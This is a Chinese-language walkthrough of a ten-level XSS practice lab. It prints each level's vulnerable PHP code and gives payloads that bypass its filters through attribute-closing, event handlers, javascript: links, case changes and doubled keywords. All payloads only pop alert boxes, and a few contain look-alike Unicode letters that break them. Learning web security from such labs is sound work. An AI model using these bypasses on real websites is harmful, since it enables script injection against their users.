XSS学习

xss在我看来，类似于sql注入

练习地址http://test.ctf8.com/

Level 1

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

name=<script>alert(1)</script>

最基础的一个会导致弹窗。

Level 2

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

构造的点在<input name=keyword value="'.$str.'">

keyword="><script>alert(1)</script>
keyword=" onmouseover=alert(1)><br>
keyword=" onclick=alert(1)><br>

第二种第三种需要鼠标滑过，点击进行弹窗。
闭合后的语句为

<input name=keyword  value=""><script>alert(1)</script>">
<input name=keyword  value="" οnmοuseοver=alert(1)><br>">

这里htmlspecialchars($str)函数，把预定义的字符 “<” （小于）和 “>” （大于）转换为 HTML 实体，使得可能的XSS无法构成。

但是通过构造闭合，使得value=" ",这样就不会影响我们的弹窗代码。

但是这道题只是在echo上进行了函数执行，在下面input时并没这个函数，我：？？？？

Level 3

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

这道题在input的时候也有htmlspecialchars($str)函数，构造闭合使value=’ ',便可以进行弹窗。
上一题中keyword="><script>alert(1)</script>这题无法使用了，<>被执行转义

keyword=' οnmοuseοver=alert(1)//
keyword=' onclick=alert(1)//

//为注释字符

Level 4

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

一个简单地绕过，str_replace将<>替换为空。

keyword=' οnmοuseοver=alert(1)//
keyword=' onclick=alert(1)//

之前palyload还是可以使用，也可以使用

" οnfοcus=alert(1) autofocus="

Level 5

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

过滤的更加严格on，<script>因为有strtolower这个函数，使得大写无法绕过，这样就过滤了js事件

"><iframe src=javascript:alert(1)>

iframe元素会创建包含另外一个文档的内联框架（即行内框架）。内框架中使得报错。
也可以使用伪协议

"> <a href="javascript:alert(1)">bmjoker</a>

"> <a href="javascript:%61lert(1)">bmjoker</a> //

Level 6

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

一长串替换，但是没有过滤大小写，之前的payload改一下大小写都可以使用。这里就列举一个

"> <Script>alert("F1or")</Script>

Level 7

<?php 
　　ini_set("display_errors", 0);
　　$str =strtolower( $_GET["keyword"]);
　　$str2=str_replace("script","",$str);
　　$str3=str_replace("on","",$str2);
　　$str4=str_replace("src","",$str3);
　　$str5=str_replace("data","",$str4);
　　$str6=str_replace("href","",$str5);
　　echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
　　<form action=level7.php method=GET>
　　　　<input name=keyword  value="'.$str6.'">
　　　　<input type=submit name=submit value=搜索 />
　　　　</form>
　　</center>';
?>

替换成空值，双写绕过就好

"><sscriptcript>alert("F1or")</sscriptcript>

Level 8

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

过滤许多，最后将"转义，但是没有过滤& #这一类符号，可以通过url编码绕过

javascript:alert(1)

Level 9

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

和上一题一样的过滤，只不过最后加了个strpos来判断str7中是否含有http://

javascript:alert(1)//http://

利用注释符号，将http://加入

Level 10

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

传入的keyword没啥用，主要是t_sort，下面但是被hidden了

t_sort="type="text" onclick = "alert(1)
t_sort=" onclick = alert(1) type="text""

构造闭合，type=text将输入框显示出来，然后点击输入框出现弹框

后面没写完，大家可以看看参考链接